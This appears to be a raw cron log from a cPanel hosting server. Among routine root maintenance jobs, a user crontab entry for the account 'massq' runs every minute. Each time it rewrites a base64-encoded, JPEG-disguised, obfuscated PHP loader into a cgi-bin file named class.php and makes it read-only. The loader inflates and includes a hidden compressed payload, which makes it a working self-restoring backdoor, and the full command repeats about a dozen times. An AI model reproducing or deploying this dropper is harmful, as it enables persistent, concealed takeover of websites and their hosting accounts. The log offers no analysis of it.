Sep  1 22:48:01 server CROND[20566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:49:01 server CROND[20950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:49:01 server CROND[20951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:49:01 server CROND[20952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:50:01 server CROND[21336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:50:01 server CROND[21338]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 22:50:01 server CROND[21339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:50:01 server CROND[21345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:50:01 server CROND[21347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:50:01 server CROND[21346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:50:01 server CROND[21350]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:50:01 server CROND[21348]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:50:01 server CROND[21351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:51:01 server CROND[22189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:51:01 server CROND[22188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:51:01 server CROND[22190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:52:01 server CROND[22611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:52:01 server CROND[22612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:52:01 server CROND[22613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:53:01 server CROND[23178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:53:01 server CROND[23179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:53:01 server CROND[23180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:54:01 server CROND[23308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:54:01 server CROND[23309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:54:01 server CROND[23311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:55:01 server CROND[23452]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:55:01 server CROND[23458]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:55:01 server CROND[23459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:55:01 server CROND[23461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:55:01 server CROND[23460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:55:01 server CROND[23466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:55:01 server CROND[23464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:56:01 server CROND[24042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:56:01 server CROND[24043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:56:01 server CROND[24044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:57:01 server CROND[24388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:57:01 server CROND[24389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:57:01 server CROND[24390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:57:01 server CROND[24391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 22:58:01 server CROND[24860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:58:01 server CROND[24861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:58:01 server CROND[24862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:59:01 server CROND[25228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:59:01 server CROND[25229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:59:01 server CROND[25227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:00:02 server CROND[25614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:00:02 server CROND[25616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:00:02 server CROND[25621]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 23:00:02 server CROND[25624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:00:02 server CROND[25620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:00:02 server CROND[25623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
